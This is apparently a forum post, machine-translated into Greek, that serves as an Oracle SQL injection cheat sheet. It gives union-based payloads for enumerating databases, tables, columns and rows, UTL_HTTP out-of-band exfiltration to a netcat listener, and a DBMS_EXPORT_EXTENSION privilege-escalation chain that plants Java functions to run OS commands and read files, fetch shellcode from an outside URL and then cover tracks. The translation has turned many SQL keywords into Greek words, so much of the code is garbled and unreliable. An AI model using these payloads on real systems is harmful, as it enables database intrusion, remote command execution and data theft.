Αυτή η ανάρτηση τροποποιήθηκε τελευταία φορά από τον test στις 2015-1-24 13:01
Σχόλιο: -- Η εκτέλεση πολλαπλών προτάσεων δεν υποστηρίζεται και υποστηρίζονται συνενωμένα ερωτήματα Τα ονόματα βάσεων δεδομένων, τα ονόματα πινάκων και τα ονόματα στηλών γράφονται όλα με κεφαλαία.
μήκος(πεδίο) ascii(substr(πεδίο, N, 1))
και (επιλέξτε count(*) από dual)>0 -- Προσδιορίστε αν είναι oracle ή όχι
Παραγγελία από n--
και 1=2 ένωση επιλέξτε null, null,.....,null από dual-- αντικαταστήστε το null με N ή 'N'
και 1=2 union select null, (sql statement) ,.....,null from dual -- αλλαγή σε (sql statement) στο 'N'
και (επιλέξτε count(*) από all_objects όπου object_name='UTL_HTTP')>0 -- Προσδιορίστε εάν υποστηρίζεται η UTL_HTTP (η IP εξαγωγής είναι γνωστή)
και UTL_HTTP.request('http://LocalIP:port'|| (Πρόταση SQL)) =1-- Απομακρυσμένη αποστολή μηνυμάτων σε τοπική, τοπική ακρόαση nc -vv -l -p 1234
Προτάσεις SQL Επιλέξτε banner από sys.v_$version όπου rownum=1 για να υποβάλετε ερώτημα στην έκδοση oracle επιλέξτε μέλος από το αρχείο v$logfile όπου rownum=1 Ζητήστε τη διαδρομή του αρχείου καταγραφής (Windows ή Linux) επιλέξτε utl_inaddr.get_host_address από το dual για να υποβάλετε ερώτημα στην IP ακρόασης της βάσης δεδομένων Επιλέξτε instance_name από το v$instance για να υποβάλετε ερώτημα στο sid Επιλέξτε όνομα από v$database Ζητήστε το τρέχον όνομα βάσης δεδομένων Επιλέξτε sys_context ('userenv','current_user') από τους χρήστες της βάσης δεδομένων διπλού ερωτήματος Επιλέξτε * από session_roles όπου rownum=1 για να υποβάλετε ερώτημα για τα τρέχοντα δικαιώματα χρήστη επιλέξτε * από session_roles όπου rownum=1 [και ρόλος<>'όνομα πρώτου δικαιώματος']
επιλέξτε table_name από user_tables όπου rownum=1 Το πρώτο τμήμα πίνακα της τρέχουσας βάσης δεδομένων επιλέξτε table_name||','|| tablespace_name από user_tables όπου rownum=1 Τμήμα πρώτου πίνακα, βάση δεδομένων (για επαλήθευση, μπορεί να μην είναι v$database) επιλέξτε table_name από user_tables όπου rownum=1 και table_name<>'πρώτο τμήμα πίνακα' Το δεύτερο τμήμα πίνακα της τρέχουσας βάσης δεδομένων
επιλέξτε column_name από user_tab_columns όπου rownum=1 και table_name='Τμήμα πίνακα' Το πρώτο πεδίο που αντιστοιχεί στο όνομα του πίνακα επιλέξτε column_name από user_tab_columns όπου rownum=1 και table_name='Τμήμα πίνακα' και column_name<>'Πρώτο πεδίο' Το δεύτερο πεδίο που αντιστοιχεί στο όνομα του πίνακα
Επιλέξτε πεδίο από το τμήμα του πίνακα όπου το rownum=1 παραβιάζει το περιεχόμενο της πρώτης γραμμής Επιλέξτε πεδίο από το τμήμα πίνακα όπου rownum=1 και το πεδίο <> «Περιεχόμενο πρώτης γραμμής» εκθέτει το περιεχόμενο της δεύτερης γραμμής
Διασύνδεση βιβλιοθηκών Επιλογή κατόχου από all_tables όπου rownum=1 υποβάλλει ερώτημα για το όνομα της πρώτης βάσης δεδομένων επιλέξτε κάτοχο από all_tables όπου rownum=1 και owner<> 'Όνομα πρώτης βάσης δεδομένων' για να ρωτήσετε το όνομα της δεύτερης βάσης δεδομένων
επιλέξτε table_name από all_tables όπου rownum=1 και owner='όνομα βάσης δεδομένων' Ζητήστε το όνομα του πρώτου πίνακα της αντίστοιχης βάσης δεδομένων Επιλέξτε table_name από all_tables όπου rownum=1 και owner='όνομα βάσης δεδομένων' και table_name<>'όνομα πρώτου πίνακα' για να υποβάλετε ερώτημα στο όνομα του δεύτερου πίνακα της αντίστοιχης βάσης δεδομένων
επιλέξτε column_name από all_tab_columns όπου rownum=1 και owner='όνομα βάσης δεδομένων' και table_name='τμήμα πίνακα' Το πρώτο πεδίο που αντιστοιχεί στο όνομα του πίνακα επιλέξτε column_name από all_tab_columns όπου rownum=1 και owner='όνομα βάσης δεδομένων' και table_name='τμήμα πίνακα' και column_name<>'πρώτο πεδίο' Το δεύτερο πεδίο που αντιστοιχεί στο όνομα του πίνακα
Επιλέξτε πεδίο από τη βάση δεδομένων. πίνακα όπου rownum=1 παραβιάζει το περιεχόμενο της πρώτης γραμμής Επιλέξτε πεδίο από τη βάση δεδομένων. Το τμήμα του πίνακα όπου rownum=1 και το πεδίο <> "Περιεχόμενο πρώτης γραμμής" παραβιάζει το περιεχόμενο της δεύτερης γραμμής
Το SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· END πολλαπλών δηλώσεων; --','SYS',0,'1',0)--
Εάν το 'είναι escaped, χρησιμοποιείται η chr().
Το SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(CHR(70)|| ΧΡ(79)|| CHR(79),CHR(66)|| ΧΡ(65)|| χρ(82), ΧΡ(68)|| ΧΡ(66)|| ΧΡ(77)|| ΧΡ(83)|| ΧΡ(95)|| ΧΡ(79)|| CHR(85)|| ΧΡ(84)|| CHR(80)|| CHR(85)|| ΧΡ(84)|| ΧΡ(34)|| ΧΡ(46)|| CHR(80)|| CHR(85)|| ΧΡ(84)|| CHR(40)|| ΧΡ(58)|| CHR(80)|| ΧΡ(49)|| CHR(41)|| ΧΡ(59)|| Πολλαπλή δήλωση || ΧΡ(69)|| ΧΡ(78)|| ΧΡ(68)|| ΧΡ(59)|| CHR(45)|| CHR(45),CHR(83)|| ΧΡ(89)|| chr(83),0,chr(49),0)=0--
Εάν πολλές προτάσεις είναι πολύ μεγάλες, μπορείτε να γράψετε τη δήλωση στο αρχείο του ιστότοπου και να χρησιμοποιήσετε το utl_http.request για να την ανακτήσετε.
Το SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· utl_http.request(στο εξής: http://www.guetsec.com/shellcode.txt')· --','SYS',0,'1',0)--
Δημιουργήστε ένα πακέτο JAVA SecTest Το runCMD χρησιμοποιείται για την εκτέλεση εντολών συστήματος και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ», ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. BEGIN EXECUTE IMMEDIATE''''δημιουργία ή αντικατάσταση και μεταγλώττιση πηγής java με το όνομα "SecTest" ως εισαγωγή java.io.*; public class SecTest επεκτείνει το Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Συμβολοσειρά stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); επιστροφή str; }catch(Εξαίρεση e){return e.toString(); }}}''''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)--
Το readFile χρησιμοποιείται για την ανάγνωση του αρχείου και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ», ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. BEGIN EXECUTE IMMEDIATE''''δημιουργία ή αντικατάσταση και μεταγλώττιση πηγής java με το όνομα "SecTest" ως εισαγωγή java.io.*; δημόσια κλάση SecTest επεκτείνει το Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); Συμβολοσειρά stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); επιστροφή str; }catch(Εξαίρεση e){return e.toString(); }}}''''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)--
Εκχώρηση δικαιωμάτων Java και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ «ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''εκτέλεση''''''''); τέλος; ''''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)--
Δημιουργία συνάρτησης Συνάρτηση SecRunCMD και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ «ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. ΕΝΑΡΞΗ ΕΚΤΕΛΕΣΗ ΑΜΕΣΗ ''''δημιουργία ή αντικατάσταση συνάρτησης SecRunCMD(p_cmd στο varchar2) επιστρέφει το varchar2 ως όνομα java γλώσσας''''''''SecTest.runCMD(java.lang.String) επιστρέφει συμβολοσειρά'''''''' ; ''''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)--
Λειτουργία SecReadFile και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ «ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. ΕΝΑΡΞΗ ΕΚΤΕΛΕΣΗ ΑΜΕΣΗ ''''δημιουργία ή αντικατάσταση συνάρτησης SecReadFile(όνομα αρχείου στο varchar2) επιστροφή varchar2 ως όνομα java γλώσσας''''''''SecTest.readFile(java.lang.String) επιστροφή συμβολοσειράς' '''''''; ''''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)--
Χορήγηση άδειας εκτέλεσης της δημόσιας λειτουργίας Στο SecRunCMD χορηγούνται δικαιώματα και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ «ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. ΞΕΚΙΝΗΣΤΕ ΝΑ ΕΚΤΕΛΕΣΕΤΕ ΑΜΕΣΗ ''''χορηγήστε όλα στο SecRunCMD στο κοινό'''. ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)--
SecReadFile και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ «ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. ΕΝΑΡΞΗ ΕΚΤΕΛΕΣΗΣ ΑΜΕΣΗ ''''παραχώρηση όλων των SecReadFile στο κοινό'''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)--
Ανιχνεύει εάν η συνάρτηση δημιουργήθηκε με επιτυχία και (επιλέξτε count(*) από all_objects όπου object_name='SECRUNCMD')>0-- και (επιλέξτε count(*) από all_objects όπου object_name='SECREADFILE')>0--
Εκτελέστε την εντολή και '1'<>(επιλέξτε sys. SecRunCMD('Εκτέλεση εντολής') από το dual)-- και '1'<>(επιλέξτε sys. SecReadFile('φυσική διεύθυνση αρχείου') από το dual)-- ή και 1=2 ένωση επιλέξτε null,...,sys. SecRunCMD('εκτέλεση εντολής'),...,null από dual-- και 1=2 ένωση επιλέξτε null,...,sys. SecReadFile('φυσική διεύθυνση αρχείου'),...,null από dual-- ή και '1'<>(επιλέξτε UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Εκτέλεση εντολής'),' ',' '),'\n',' ')) από διπλό)-- και '1'<>(επιλέξτε UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Φυσική Διεύθυνση Αρχείου'),' ',' ','\n',' ')) από διπλό)--
Λειτουργία διαγραφής και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ «ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. ΕΝΑΡΞΗ ΕΚΤΕΛΕΣΗΣ ΑΜΕΣΗΣ ''''συνάρτηση πτώσης SecRunCMD''''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)-- και «1»<>'a'|| (επιλέξτε SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1)· ΕΚΤΕΛΈΣΤΕ ΑΜΈΣΩΣ «ΔΗΛΏΣΤΕ ΤΟ PRAGMA AUTONOMOUS_TRANSACTION. ΕΝΑΡΞΗ ΕΚΤΕΛΕΣΗΣ ΑΜΕΣΗΣ ''''συνάρτηση πτώσης SecReadFile'''; ΤΕΛΟΣ; ''; ΤΕΛΟΣ; --','SYS',0,'1',0) από διπλό)-- |